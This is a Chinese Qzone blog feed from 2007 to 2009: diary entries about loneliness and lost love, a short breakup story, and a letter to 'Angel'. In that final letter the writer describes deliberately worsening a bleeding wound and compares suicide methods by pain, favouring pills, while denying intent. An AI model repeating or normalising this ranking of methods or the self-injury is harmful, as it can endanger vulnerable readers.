<![CDATA[方小赖]]> http://472991666.qzone.qq.com Tue, 24 Nov 2009 15:46:49 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Fri, 18 Sep 2009 13:28:11 GMT <![CDATA[流亡、在九月的荒原。]]> http://472991666.qzone.qq.com/blog/1253280491 我走过了怎样的时光。在这些路途中所得到的和失去的是不是真的成了正比。现在发觉是否忘记比记得更加容易。大概对我而言是这样的。当然会在某个时刻。脑海里蹦出来那些光景。但我已愿意放过自己。如你所说。是我思想上的枷锁一直在束缚着我。于是成就了这般模样。

我越来越看不清楚前面的路。只是我终于承认了自己的固执。
这些日子这所有的事情。我都接受了。
这些年的颠沛流离。辗转反侧。我想。没有人比我更清楚。固守城池。为谁。
其实很多时候我亦是很混乱的状态。我一直未到达那里。我想到达的那里。
也或许那个地方本就不存在。只是我的臆想。
而已。

当自己独自一人来世时，就注定很多的事情都是需要自己去完成的。既然一定要自己去完成，又何必告知其他的人。很多的事情并不需要多说。
就像此刻我说着你们不知道的我知道的事情。

像某日绕线圈环节，绕着数着，27匝数的线圈经过别人的手自己依然要再确认。
像很多个时候门要重复确定锁了，钥匙随身带身上也要时不时检查走了这么久是不是还在。
像是所有厌恶的人都在最近的身侧，你要学着无所谓面对，呱噪，尖锐，以及一些无聊的八卦还有指责。
可是，如果可以，请带我离开这些，不管你是谁，从哪里来，都请带我离开。
告诉我，离开以后，会很好很好，告诉我，离开以后，请记得回来。
我想要离开了，到很远的地方，即使我最终会知道，不管到了哪，都必须回来。

我突然不知道活着的意义，我开始质疑，开始迷茫，开始不知所措。好像有很轻微的声音在心里面提醒自己答案，可是我的心太吵了。我听不清。

想把自己藏起来，让谁也找不到。把自己关在一个空阔的大房子里，谁也没有，只有我自己一个人。只有干净的白色，以及扬扬洒洒的、不灼人的阳光。安安静静的。
有没有一个怀抱，可以不计代价。
有没有一份温暖，可以真心相对。
人心。很恐怖，很现实。甚至不可理喻。似乎不同环境来的人真的是有不同的差异。看到那显露在外的情节。只是令人更加的沉默。默哀。真和假的距离，只是左心房到右心室的一段。内心情感寻寻觅觅。不出声响。它在找一个出口。
怎样的出口。可以看见天光大亮。

你对我好，可我却不能相信，一切都已看的很清楚，我是你众多内心同胞中的一个。一天天，一点点，谎言被揭穿，事情被败露。一直以为很温情，很甜蜜的事情也只是他想你就这样对你做做而已的。那么，除非我想放纵，我们再无任何纠缠。放纵、不出意外，这一生也就没有这个可能了。忙忙碌碌、应酬、假笑、学会听懂话中话、努力让自己的言语四两拨千斤。
这样的日子。让人绝望。

我听说菖蒲的花语，信仰者的幸福。我信仰爱和未来。那么深。爱的信仰是我年少的时光。我已经没有了它。我不希望我连回忆也丢弃了。 ]]> http://472991666.qzone.qq.com/blog/1253280491#comment 142606848 Fri, 18 Sep 2009 13:28:11 GMT http://472991666.qzone.qq.com/blog/1253280491 <![CDATA[光年，纪]]> http://472991666.qzone.qq.com/blog/1253204500 阴天、雨天、艳阳天
我在这儿
你在哪里~~~~~ ]]> http://472991666.qzone.qq.com/blog/1253204500#comment 142606850 Thu, 17 Sep 2009 16:21:40 GMT http://472991666.qzone.qq.com/blog/1253204500 <![CDATA[我的手指扶不住我的悲伤]]> http://472991666.qzone.qq.com/blog/1228306328 也许有的事情，真的只是习惯。
　　和别人说起一些事情，最后总要加上一句：我们再也回不去了。
　　我有时是一个很懒的人，懒得思考，特别希望人生的一切都是计划好的，
　　这样我可以按部就班的生活下去，平静也很快乐。
　　其实我最近有很多的事情要做，可是没有一件让我提的起兴趣。
　　慢慢的对着电脑，开始觉得无聊，无所适从，无可奈何。
　　有时深夜突然醒过来，看着雪白的墙壁，想说点什么，
　　又不知道说什么，那种深深的孤独，真的很难摆脱。
　　不知道要什么，也许只是想要个人宠我而已，我一点都不坚强。
　　我害怕寂寞的感觉,害怕骨头里发出的寂寞的声音。我只是一个简单的人,一句温暖的话就能让我失声痛哭。
　　这个不符合梦想的世界，没有任何东西是安慰。
　　苍白而枯萎。没有任何期待。想着自己还拥有的一些东西。例如往事和诺言。在夜色里你是丧失了语言的花朵。发不出任何声音。
　　一个钱币最美丽的状态，不是静止，而是当它像陀螺一样转动的时候，
　　没人知道，即将转出来的那一面，是快乐或痛苦，是爱还是恨。
　　快乐和痛苦，爱和恨，总是不停纠缠。
　　还记得安妮宝贝在《告别薇安》里写道：
　　——在美好的东西面前，你的感觉是什么？
　　——是痛。
　　——为什么？
　　——痛过才会记得。
　　——如果不痛呢？
　　——那就只能遗忘。
　　然而你怎么知道，那些太美好的东西我真的不忍心去看。
　　因为我怕会失去，因为我怕我的手不够有力。
　　一切事物都成背景，了无意义。
　　有些东西太快了，就感觉不到它的存在；而有些东西则太慢了也不会觉得它存在。人与人在一起，也是一样。
　　谁给我全世界我都会怀疑，心花怒放却开到荼蘼。
　　这就叫没有安全感，笑。
　　手指连心，恋人间交错的手指代表着两颗相交的心灵。一直以为这是一件神圣的事情。
　　一只手叠在另外一只，掌心的纹路摩挲纠缠，渐渐烙上对方的印记。
　　或者有些东西，是开始也是结束。而那些得不到的，就永远不会失去。
　　其实我早已开始微笑，之前和朋友说我信佛，有人不可理解。慢慢发现佛学其实是一门实用的哲学，教人怎么生活，怎么去爱的哲学。
　　佛教我放下欲望，放下恨，要看到痛苦往往来源于此。欲望有对金钱的，名利的，感情的，性的，越大的欲望是越深的痛苦，若想起时，要对自己说适可而止。若正在得到，则务必珍惜。
　　爱过我的，我感激，伤害过我的，我学着忘记。而我的爱，再不是得到，缠绕，生死与共。我的爱，是希望那个人快乐。若是我能知道他快乐，就已经很好。 ]]> http://472991666.qzone.qq.com/blog/1228306328#comment 142606850 Wed, 03 Dec 2008 12:12:08 GMT http://472991666.qzone.qq.com/blog/1228306328 <![CDATA[就这么飘来飘去]]> http://472991666.qzone.qq.com/blog/1223775866 晚晚，生日快乐。
很早，我就习惯了一个人的生活，于是不再害怕又回归一个人，只是想说谢谢你，谢谢你曾经那些温暖的话语陪伴我过了寒冷的冬和炎热的夏。一季又一季，时间过的真快。如今，我总这样感叹着，那个冬天早已成为回忆了，可我依旧还时不时地拿出来缅怀一下。
依旧记得，那年的冬天，因为有你而变的格外温暖；因为有你的陪伴而变的勇敢。很多时候我在想，那些潮湿而悲伤的日子，没有你的陪伴，该怎样才能走过，那些寂寞寒冷的夜晚，没有你的温暖，我该怎样才能度过。
一切就这样悄悄的来了，一切又这样悄悄的去了。两年的时光，对我们来说不长，其中有多少个夜晚，我们是在彼此陪伴，其中有多少时光，我们是在彼此安培和鼓励。在人生的旅途上，有个人陪伴，一切黑暗就这样消失了。当我从一个城市转至另一个城市时，耳边总少不了你的嘱托，当我一个人在黑暗里失落时，总少不了你的陪伴。
那些温暖而美好的日子，就这样从我的眼前晃过后又迅速消失了，那些鼓舞人心的话语就这样闪过后迅速的沉淀了。
事过境迁，如今的我们就这样散开了，两个影子开始不同的城市奔波和忙碌。现在的你肯定不知道，我已经淡然的面对眼前的一切，不再守着那些往事打发时光了。如今我能微笑的一个人行走于这个城市，坚强勇敢的看着太阳东升西落。
头顶同一片星空，可我们却开始反向行走了，此时只想问声，那些时光你还记的么？
时间能治愈一些东西，也能破碎一些东西。夏末，秋至，冬又来。一千只飞鸟飞过，一大片落叶飘过，带来季节里最华丽的送葬，也带走了年华里逝去的记忆。
他们来过我的世界，他们给了我快乐和伤痛，然后就离开了。而我也开始学着遗忘，遗忘那些美好而温暖同时带有疼痛的日子，一个人继续前行。 ]]> http://472991666.qzone.qq.com/blog/1223775866#comment 8389120 Sun, 12 Oct 2008 01:44:26 GMT http://472991666.qzone.qq.com/blog/1223775866 <![CDATA[温暖可以止痛]]> http://472991666.qzone.qq.com/blog/1223693998 电脑里已经存了N个未完成的文本了。这段时间一直都不愿意写心情的东西。日记里也许久不能更新。刚刚站在窗前发呆了好久，突然觉得很冷很冷。今天一直有风，于是我一直看对面楼里的那些人的衣服飘飘荡荡。还有对面楼里那些工作人员忙碌的样子以及上岛咖啡里穿着制服的女生微笑的样子。是的，我真的无聊到了每天只能发呆的地步了。然而，我并不想去改变。我懒散的窝在椅子里，转动手里的遥控和笔，我的每天，和时间对歧。

我打开音响，翻以前听过的歌，一首一首的听，然后关掉，恩，突然不知道哪首歌适合自己，拉着好多人问，让他们推荐歌。兜兜转转，还是放了首《KISS THE RAIN》，头疼的快要爆炸了。不能听太吵的音乐。幽雅的钢琴曲。把腿缩在椅子里，然后抱着肩，不知道该说什么，该做什么。我把热水袋翻出来，然后放在肚子部位。然后温暖散开，不那么疼痛。温暖可以止痛。这是一直就把持的公告牌。只是我很少对我想要温暖的那些人说。因为骄傲的不愿意让他们对我的爱有丝毫的同情和怜悯。

你真的没有那么重要。这是我在《天若有情》里听到一句话，然后我用了它N次。对自己说，对身边的人说。小鱼说这句话听起来总是觉得特别伤人。可是，我却觉得它很适合我自己。是的，我没那么重要。我不能把自己想象的很有能力，很有资格。所有的一切，我都只是路过。大家疼痛过，经历过，然后我就是过去。没有人阻挡得了。我自己也在习惯。在群里到处找人聊天。找人灌水。最后依然还是发呆。是的，y，你离开了，而我后知后觉的认为你就在我身边。你没有跟我联系。我联系不上你。我灌水的时候灌着灌着就想起你对我说的话。我找人聊天的时候聊着聊着就满脸泪痕。y，再不会有人和你一样给我温暖。让我安心。你说我一定要好好的，于是每天我都在对自己重复这句话，然后在心里跟你说这句话。只是你听不见，而我，依然乱七八糟的晃荡着。我说我不敢用心情的方式去码字了。不想触及心里的伤。而其实，在用小说形式的时候，我也常常会想起自己的身影，那么孤单的在这个世界里行走不停。大家都在说，为什么我们会有这么多的烦恼。我对我自己固执的说，我没有烦恼，我只是有点疼。仅此而已。

这两天，我一直很想疯狂的跑几圈。然后我就不停的在房间里走来走去，试想很多种结局。可是最后，我才跑一圈我就蹲在那里了。是的，我在练习奔跑。奔跑出你的世界，他的世界，她的世界。却跑啊跑啊，依然在你们的范畴。因为我无法跑出我自己的世界，我跟你们是牵连的如此紧密的。要脱离你们，唯有脱离从前的我自己。晚上很早就睡下，不到9点。他们惊讶的望着我问我怎么了。我懒散的耷拉着眼皮，困顿的爬上床去睡觉。缩在被子里。记得妈妈说我睡觉的姿势极其难看。小时候，姑姑总是半夜帮我拉伸我缩着的腿。可是这么多年来，我依然如此。心理测试里，这是种害怕的说法。我没有安全感，我渴望安全感，很迫切的渴望着。只是。竟然，我一直流离失所的寻找的那个人，不过是个温暖却不专情的人。无言以对。最后无言以对。很多时候都在责备自己，不要那么贪心的索取温暖和感动。那些美好的东西不属于自己。只是，原来很多时候，我对我自己都太迁就，我对我自己太好，我对自己不能太过残忍。我在纵容自己离不开你们。然后越来越伤痕累累。

很努力的让自己快乐、安稳起来，于是那天，某人说我似乎没那么忧郁了。我笑笑。是啊，我多么努力的在做啊。让自己很安静的坐着不想太多。跟很多人说话，抬杠。只是，你不知道那需要多大的勇气。今天早上看到一个文章，说是为了一个人而改变自己。说很辛苦。而我觉得，那是件很幸福的事情。毕竟有人愿意你为了他而改变，毕竟也有人会看到你的难过，会有人希望你改变。而我，我找不到支撑点，于是容易半途而废。原谅我，总是把自己寄托在你们身上，其实我不想。可是我容易习惯。并且依赖。很多时候，我都在想，如果我们没有遇见，没有在某个时候刚好遇上了谁，是不是生命真的可以很平静？小米说她相信这个世界上有天使和神仙。我说我不信。是的，我不信，如果真的有，我为什么会失望这么多次？又为什么我，总是遇上同一种人？。真的，很可悲。

我一直在犹豫要不要回家。爸爸下最后的通告，恩，回家。我只是不知道这几天呆在你们身边可以带给你们什么。小鱼说，你该回家了，不要这样对自己的家人。我惊讶的望着他。是我们越来越远了么？还是，我变的让你不了解我了？恩，或者是的。应该是的，大概是的。其实我很想窝在爸爸身边看电视。其实我很想吃妈妈做的饭。也想学学其他孩子撒娇。只不过，好象我做不到。我担心他们不开心，于是努力的笑。却还是被他们看穿。呵呵。多无力。也许是不该在自己的爸爸妈妈面前逞强。也许该放下自己的防备，是该让自己坦然的面对身边的一切，过去的不再回味。真的，生命中的一切挫折，留下过的伤痕总会有痕迹。

十指紧扣，颠倒的位置。你真的快回来了，这次没有骗我。然而，我怎么觉得你，离我还是那么远那么远。你要带我走。呵呵。我无奈的笑。你带我走。十指紧扣，算私奔么？亲爱的，原谅我对你没信心。我在担心你不要的我时候，我不知道怎么办。如果我跟你走，我的世界里只剩你一个。最后如果连你也不要，没有温暖的我会死掉吧。？那既然这样，不用高科技和先进的设备，我也许会好点吧。至少我有很多温暖。还有自己的家。我不能再一次的将自己所有顷尽给你。我不玩重复的游戏，我承认，我玩不起。你问我，是不是除了Z，我的世界里还出现着一个人。那一刻，我真的不知道如何回答你，连我自己都不知道我在干什么，那么没有以往的骄傲的把不该是我该说出口的话都说出来。最后，换来的是无言。恩，是出现着这样一个人吧。只是其实不属于我的。虚幻、飘渺、并且无法张手去追逐。我只是幻想。

你看，我们这么久没有见，你却还是可以从我的只字片语里察觉我的变化，我却永远不知道你在想什么。所以，再来一次，我还是会输的彻底。我跟某人说起Z，我说我们不能做情侣于是做兄妹，这样就可以还是一直呆在一起。而他说，分手后的两个人不能做朋友，因为彼此伤害过，也不能做敌人，因为曾经相爱过。于是我一直在想我有没有爱过Z。Z有没有爱过我。然而，最后越来越离谱的是我让自己没任何的骄傲。我从来没有想过那些字句、那样的说话方式会从我这里说出。

一切回到原点。我真的很想。温暖可以止痛，我满身的疼痛，于是贪恋你们给的瞬间和美好，只是我忘记了是我自己要不起。 ]]> http://472991666.qzone.qq.com/blog/1223693998#comment 8389120 Sat, 11 Oct 2008 02:59:58 GMT http://472991666.qzone.qq.com/blog/1223693998 <![CDATA[可不可以不悲伤]]> http://472991666.qzone.qq.com/blog/1208829674 我看见那些眼泪有着童话的色彩，于是变得斑斓。
我看见那些梦想有着坚强的执著，于是变得闪光。
要怎样生活？要怎样感悟？
我们的路在哪里。
那些斑斓的梦。他们在哪里。
告别季节里那片青绿的草地。巨大房间里那些隐忍的悲伤。
时差里那样不断错过的幸福。暗夜里那种无法言喻的孤独。
丁香街道中那般纯粹的歌声。伤痕背后留下的那样的苦楚。
我捂住眼睛就以为自己看不见悲伤。
还以为种种纷扰不过是过眼云烟。
那些画笔下我所期待的世界。
在这里。
都在这里。
信仰。成长与苦痛。不过是远望。
听不见，看不见，说不出，忘不了。
我看见死亡的浅眠。落过年年日日的感伤。
连话语都变得浅薄。看不到时间丁零流淌。
走吧。跑起来吧。
尽管挫折来得如此容易，生命也变成路途中绽放的小小花朵。
你遇见谁？谁遇见你？
好在。你们都在这里。
]]> http://472991666.qzone.qq.com/blog/1208829674#comment 8389120 Tue, 22 Apr 2008 02:01:14 GMT http://472991666.qzone.qq.com/blog/1208829674 <![CDATA[一整个夏天的意淫]]> http://472991666.qzone.qq.com/blog/199 一
窗外的麻雀故意使劲地叫着，但这完全不会影响我的睡眠，更不会破坏我美好的梦境。时间一久，这会使它们感到很无趣，于是无精打采地飞走了。这是醒来后Y告诉我的。她一边帮我擦着口水一边说，你真能睡。
如果是在早上，Y会给我带我最爱吃的鬼脸嘟嘟饼干，巧克力味的。我们学校规定上课是不能吃零食的，以至于每次早上第一节课的铃声一响，我总有剩余的一两片饼干没吃，Y会把它们塞进抽屉里放好。Y有个天真的想法，就是等到高考结束的时候把这些饼干全部拿出来，在操场上拼凑成一个足够大的心状，以有足够大的空间让我们坐在中间看星星。
但是这个想法在过完高二暑假的时候就遏止了，当时我们怀着美好的心情重新走进教室准备迎接高三的到来，结果看到了Y的抽屉里无数片小鬼脸融化成了一块大鬼脸摆放着，上面爬满了蚂蚁，恶心至极。于是从那以后，Y再也没有给我买过鬼脸嘟嘟，这让我养成了不吃早饭的习惯。

二
那夏天，我叼着烟在车站路过。按照惯例，我知道接下来的一段时间里会有一个民工模样的男人来拍拍我的肩膀给我递上一根烟然后问我要票吗。我会说去哪的。如果他说H城，那么我就直接上车了。在那之前，我所能联想到的关于的H城的一切相关信息都只有Y，换句话说，那座城市给我的影响离力只来源于Y却不及于Y。
我小时候躺在床上在进入睡眠之前除了幻想过个人英雄主义事迹外幻想过最多的便是爱情，个人认为这是一种很美妙的东西，这不仅给我将来写小说提供了丰富的素材，并且还有助于睡眠。限于想象力的贫乏，在我的幻想中，女主角永远都只有一个，在无数个日子里她就这样依附在我的思维中，赶都赶不走，直到Y的出现。
我一向不太喜欢穿裙子的女生，而Y是以这样的形象出现的。瘦小的身子穿着宽大的牛仔裤，颜色鲜艳印有卡通图案的T血衫，两只款式相同颜色不同的鞋子，马尾辩扎在身后摇摇晃晃，前面的刘海挡住大大的眼睛，手腕上的银制首饰发出动听的声音。Y的出现让我身后不断地传来感叹，那个时候我明白，其实大家小时候睡觉前都有幻想的嗜好，并且对象很有可能就是Y。

三
票贩子收了我二十块钱很负责任地送了我一张H城的地图。我是个路痴，六岁之前没单独走出过自家的院子，九岁的时候从自己家跑到外婆家觉得那是世界的尽头，十五岁之前没坐过火车，二十岁之前一直认为苏州才是江苏的省会结果被Y嘲笑了半年，到目前为止没坐过飞机，以及尚未区分青海和青岛的关系。所以地图给我的作用并不大，它的意义仅仅在于当我到了外地的时候可以向当地人示意我其实是个外地人而已。
因为自身能力的有限，路痴直接导致了我的地理成绩一直停留在最后无法前进。人不上进这是很可怕的事情，为了证明自己的能力我决定和Y一起作弊，我们发誓只有一次，保证今后不会再作弊，米兰昆德拉说，只发生过一次的事就像从没发生过一样。后来我和Y都无比信奉这句话。
我高二会考的时候科技基本上已经以人为本，手机人手一只。平时没什么用途，一个月几十块几十块地给中国移动缴月租费就为了等重大考试的这么一天。我和Y在这方面没什么经验，这说明我们是纯洁的，迫于无奈才出此下策。
因为没什么经验，Y的心理压力是足够大的。监考的老师似乎知道我跟Y有一段不寻常的关系，一直在我们俩之间徘徊。做监考老师能做到连考生背景资料都掌握得如此熟悉的并不多见，眼前这位就是一个典范。Y就在这样的情况下将三十道选择题的答案顺利地发给了我二十九道，对于一个新人来说，这是值得鼓励的。但问题在于她发漏掉的那一题究竟是哪一题，这直接关系到了我能否顺利毕业。
幸运的是我后来毕业了，但却没考上大学。八月末的时候，我和Y站在车站接了长达五分钟的吻，然后目送着她去了H城。流泪满面。

四
我觉得，Y一直在填充我的幻想。甚至绝大部分超越了我的幻想。
Y偶尔会偷偷旷课从学校过来看我。她会帮我把我忘记洗的衣服全部洗了，并且让我在一旁蹲着看她该怎么搓该怎么漂，她说得清清楚楚，只是她一回学校后我又会忘记怎么洗了。其实我忘了告诉她我当时有轻度健忘症，之所以忘了告诉她，也正是因为如此。
据我所知，Y的身体不好，有晕车的毛病。我现在坐在这辆大巴上颠簸，根据司机的驾驶技术断定，只要坐上这车是人都会晕车，与身体素质无关。现在我才知道Y每来回一次都要坐这么久的车，平均每两个星期都要这样体验一次，这着实让我感动。Y一到我家就说好累，然后直接倒在我的床上紧闭着双唇一动不动，我觉得此刻应该发生点什么事情。我躺在Y的身边一直给予其暗示，我们是不是该做点什么。Y说，什么事呢？我说，再想想嘛。Y说，哦，我知道了。然后站起身子走到电视机前将电视打开说，我知道了，今天有《小龙人》的重播，我们一起看嘛。后来Y告诉我，其实她一直提倡绿色的爱，很环保。这说明当时她在装傻。
一时装傻当然不是最大的不幸，最大的不幸是《小龙人》从那天起，播放了一整个夏天，而我也傻忽忽地陪她看了一个夏天。随着片尾曲一次一次地重复，我始终不知道小龙人到底有多少个小秘密。

五
夏天的天气那么热，我会在五月的时候剃一个光头，等长到七月的时候Y就回来了，让她摸摸我的头发是否变柔顺了。我平时走在大街上都戴着帽子，帽子的好处是不仅能遮风挡雨还能遮丑。Y一直说我丑，但这是没办法的现实，上天造人是很公平的，它给我了才华，就不会再给我迷人的外表。如果两者都具备了，我肯定死的早。
我穿着拖鞋Y穿着吊带背心极其露骨地站在城市最繁华的中心时间依然是一个炎热的午后，她紧紧挽着我的胳膊生怕我在这样强烈的太阳光下走着走着就这样蒸发了。她偶尔会转头对我恬静地微笑，而此刻我的眼里只有她的美丽，路上的行人瞬间变为透明，现在一想，那些人当时可能是被她的笑所蒸发的。
在剩下的时间里，Y带我逛商场把省下的钱给我买衣服。那时候的天色已经昏暗下来，地上依旧有灼热过后的余温。Y不喜欢我戴耳丁，不喜欢我染着黄头发，不喜欢我穿宽松的衣服。Y把我弄的规规矩矩的让我很不满意，每次和Y逛完街都有一种让我老了五岁的感觉。
Y跟说她一直想找一个比她大好几岁的人，这样会有被人照顾和宠爱的感觉。但是我把事情反过来想了，然后告诉Y那些想找个比自己小好几岁的女孩子做女朋友，肯定心理不正常。Y说，等你再长大些你也会跑去某大学找大学生恋爱的。我说我不会，至少我没恋童癖，而且最鄙视那些没能力找与自己平起平坐的女人而去骗小妹妹的人。其实如果我当时不反过来想，而是作深入思考，肯定会得出一个暗示，Y一定是在怪我没好好照顾她宠爱她。这就是说，Y在那时已经在责备我了，只是很委婉而已。而我却没发现。

六
暑假一完，Y去上学的时候我总觉得生活少了一个主题，其实我的生活除了写小说外本身就没什么主题。开始的时候像是在梦游，心里很不好受。一个人实在没有什么食欲，什么也不想吃，更不想回住的地方，我只好在马路上闲逛。有时候站在电影院前看看电影介绍的看板，有时候看看阿迪耐克橱窗里的球鞋，而大多数旳时间是在看与我擦身而过的行人。有数千名以上的人在我的眼前出现又消失消失又出现，我觉得他们好象是从一个意识的边境，移到另一个意识的边境似的。
故事总得有个转折。这个转折被设定在了今年的八月。Y上了大二。而我依然是个高中毕业没有文化的无业人员。Y走之前我很调皮地问她，你喜欢我吗？
Y说，不喜欢。
我说，那你发誓。
Y说，我发誓我不喜欢你。
我说，否则。
Y说，否则天打雷劈。
于是Y走的第二天这个城市就下了一场雷阵雨，闪电把我家对面的一棵树给劈倒了，幸运的是，在此之前Y已经抵达了H城。我想，她应该不适合爆炸头。
也许Y真的不喜欢我了，有时候我就是这样绝望地想着。
在看隔壁一个老头下棋的时候经常听他的教诲。他的习惯是每当我站在他身后他总会喝一口茶，然后默默地抬起头指着棋盘对我说，年轻人，别悲观，你看，我虽然走错了一步，但这局棋不一定是会输的。但也往往是他说完这句话之后就被对方一步将死了。这让我明白了一个道理，乐观和悲观都要以现实作为标准，把乐观当成一种安慰的时候，这就已经成为一种悲观的局面了。
我一向是个乐观的人，在这样的精神世界里我健康快乐地生活了二十年。但我在三个星期里联系不到Y的时候再也乐观不起来了。我在想，Y现在在喂谁吃着鬼脸嘟嘟陪谁看着小龙人呢。

七
事实上我是下了决心的，现在我到了Y的学校前面发现自己将故事无可避免地拖入了庸俗，无论怎么说这都有点可笑，要是这个想法让Y知道，她一定会直截了当地说我又死爱面子。可是如果我不去，我肯定会后悔，世界上有很多事情存在的意义就是为了让你后悔，但是如果我去了，我肯定又会觉得不值。我总是在后不后悔与值不值中矛盾着，这样的男人多可悲。
不过男人在这方面偶尔犯一次傻是应该的，毕竟犯傻也需要一定的智慧。
我说，我把你像小说一样热爱，却没有把你像小说一样对待。
Y说，我一向对你的小说没兴趣，对你也一样。
我说，真的很对不起。
Y说，你对你下个女朋友好点就是了。
我说，没下个啦，一辈子跟定你了。
Y说，不好意思，我承受不起。
我说，怎么会，我那么轻。
我们的对白发生在Y的学校门口，当时还有个不知道从哪冒出来的男的一声不坑地站在Y的身边装傻叉。我觉得这人装傻装的比我有境界，连那么喜欢我的Y都站出来当着我的面夸奖他，并强烈表明要跟他在一起，这让我感到无比郁闷。
我说，他长那么丑你也答应。
Y说，人家比你高。
我说，他又没什么钱。
Y说，人家大学本科生。
我说，他会什么。
Y说，他会疼爱我。
他就像一张油画摆在我们前面以一个姿态一个表情一动不动地站着，被我们评头论足。我气得一只手抖成五六只，实在忍受不住之下就把那男的给踹飞了。然后头也不回地走了。此时的风迎面吹来，我觉得这是这个年代最潇洒的画面。

我一向不喜欢婆婆妈妈的结局。就像我不喜欢电影里最后那个必死无疑的人在临死前的万分挣扎，最后把一句简短的话用无数省略号隔开再叙述出来，再在观众都以为他片子就要随着他的死结束的时候，他又会从怀里掏出一件东西，然后又一个分镜头，将片子拖入了深深的回忆。
但也许不这样做，制片方可能又会不喜欢。就像我踹飞了那男生就这样走掉的话，读者和编辑也不会满意。

八
两年前的夏天，我坐长途汽车去H城去找一个女孩，仅仅是因为我觉得分手是不应该存在怨恨的，尽管它也是作为恋爱的一个部分延续下来。Y当时说以后我们不要再见面了的时候我不知道自己哪里做错了让Y如此痛恨，但不管怎样我都得回去道个歉，然后再在补偿之后一笔勾销。
我一直以为我这样做Y能感动，后来发现这是错误的。从此明白，以后想要去挽回身在外地的女朋友的时候，千万不要选择汽车，也不要选择火车，更不能选择飞机等方便快捷的交通工具，唯一能感到她的方式是骑车或者走路。当然，当我们选择了后两种方法后，抵达时我们的女朋友可能早已经被别人所感动。
当时的H城的天是灰的，有工业污染过的痕迹。我在网吧打魔兽，Y拿着可乐逛了进来，穿着还是和曾经在广场上跟我跳滑板时的一样，她坐在我的身边，我没有理她，她一直在她的博客上写日志，写某人怎么怎么好怎么怎么疼爱她，然后再写我怎么怎么坏怎么怎么辜负她，这是气死人最好的办法，我想也就Y能干的出。
我将电脑关掉拉起Y的手，向外面走去，此时的长方体楼房顶部的钟敲了七下，下面的人的表情无不让我想起了鬼脸嘟嘟，笑的猥琐，哭的猥琐，木讷的猥琐。Y说，我来了有去去了又来，你拿什么缝补我们爱情的空白。我想我们以后再也不会对彼此抱有幻想以及希望，那场意淫在上一个夏天就已经以悲剧收场。
作者的话：结局好烂。 ]]> http://472991666.qzone.qq.com/blog/199#comment 512 Fri, 21 Sep 2007 05:15:38 GMT http://472991666.qzone.qq.com/blog/199 <![CDATA[致Angel]]> http://472991666.qzone.qq.com/blog/189 Angel，这里下雨了，很大并且下了好久，还很烦，据说这个城市每年这个时候都会下好久的雨，下雨就下雨吧，还会有很大的风。下雨的前一天我感冒了，不严重也不轻，我不喜欢吃感冒药，如果感冒也要吃药的话，那感冒药对我来说可以当饭吃了。可是下雨的那天我的感冒却好了，不知道是不是因为我淋了点雨，那天其实我是不想淋雨了，我不是个浪漫或者神经质的人，不会没事的时候就跑到雨里说，啊，好美啊之类的话。但是有点我承认，我很不喜欢打伞，主要是因为我懒，并且拿着个伞走到哪都不方便，所以雨下大了我宁愿呆在一个地方不出来，下稍微小点我就不在乎淋雨，但是刮那么大的风就很难受了，真的很冷。可是就那天晚上，刮很大的风，下不小的雨，我从外面回来的时候身上已经湿的差不多了，又用凉水冲了个头，反正已经很冷了，我也不在乎再多冷一下，可是就是那一下我的感冒就好了，看来以毒攻毒还是有道理的。

Angel，来到这里以后我开始吸烟了，我没有烟瘾，我只是觉得吸烟的时候我会很安静，冷静，理智，脑子思考东西会很有感觉，我喜欢这种感觉，特别是在每天熄灯之后躺在床上吸烟的时候，但是与寂寞和忧伤无关，我只是喜欢想些无所谓的事情而已。所以我会比有烟瘾的人吸的多，有烟瘾的人吸烟是为了过瘾，而没有烟瘾的人吸烟是为了找那种感觉。其实我很反感身上有烟味，所以我只是每天睡觉前吸的多一点，第二天一早起来第一件事就是洗头，洗脸，刷牙，恨不得冲个凉水澡，很彻底的那种，虽然不一定管用，但是至少让我觉得好受一点，要不我一天都会很难受。

Angel，我知道你的名字翻译过来就是天使，我也知道天使和上帝的关系，但是我还是要很遗憾地告诉你，前阵子我很不敬地问候了上帝的母亲，当然只是因为她儿子的关系，和她无关，我承认那时候我很不理智。我骂她的儿子是因为我觉得我只是她儿子的一个玩偶，就像我小时候捏的泥巴人一样，我会给泥巴人捏个笑脸或者其他的表情，泥巴人的一切都由我控制，但是我现在觉得自己就是上帝是泥巴人，随他摆弄，其实泥巴人都会比我好：因为我有思想。我给泥巴人捏了个笑脸，它就是一个简简单单的快乐的泥巴人，我要是给它捏个哭脸，它就是一个简简单单的痛苦的泥巴人，但是你知道上帝对我做了什么吗？他给了我思想，你知道思想有什么用吗？思想就是上帝在用一件事让你痛苦不堪时却用思想逼着你笑脸如花。

Angel，你知道吗？上帝还对所有人做了一件事，就是把男人的一根肋骨拿了出来做了女人，他要让所有的男人都忙忙碌碌寻找一生，到最后找到的还不一定是自己的那根肋骨，这就是他的游戏，他虽然没有逼着你去找，但是你知道吗？如果你不去找的话，自己的胸口上就少了根肋骨，感觉会很痛。其实就连天使也不能幸免，我看到尼古拉斯．凯奇为了自己的爱人从拥有强大超能力的天使变成一无所有和一无所知的凡人，当他兴奋地奔向自己的爱人的时候上帝却把他的爱人带回天堂。其实天使也是他的玩偶吧，所以有首叫天使也一样的歌应该不是白唱的。

Angel，我看过很多人类未解之谜，但是最让我心动的是有的人会突然无缘无辜地消失，不知踪影，很多时候我会幻想自己也会遇上这样的事，突然消失。这样想不知道会不会有人觉得我神经，但是有时候我会有些在科学上被叫做精神分裂的表现，比如我的手流血止不住的时候，我会像恨一个跟我有深仇大恨的人一样恨这个手，于是我会狠狠地挤那个伤口，一边挤一边威胁它说，你他妈就淌吧，使劲淌，看你能淌多少血出来，等你他妈把血淌完了老子活不成看你还有什么用，你不就一只手吗，等我活不成了看你还有什么用。然后更狠地挤伤口，那些伤口全是过一会就不淌了，然后我不但不给它贴上闯可帖，反而拿着这只手去洗衣服，甚至故意让洗衣粉倒在伤口上，刺痛会让我有报复的快感，这居然会让我有胜利的成就感。有时候我觉得不但是人，很多东西都很贱脾气。

Angel，我这样做并不代表我很勇敢，但是我不怕死，死对于我来说只是突然消失而已,我时常这样告诉自己。我只是怕死之前的痛，比如上吊会在死之前让脖子觉得很难受，割腕更是疼的直接，跳楼摔的也不会好受，还是吃药会比较好，当然，现在的安乐死是最佳选择，哈，我只是这样想想，其实我根本没有想到过要去死，我只是在想那些自杀的人死之前是什么感觉，比较好奇而已,我才舍不得死，我只是说自己不怕死而已，但是怕疼。这样是不是很虚伪？

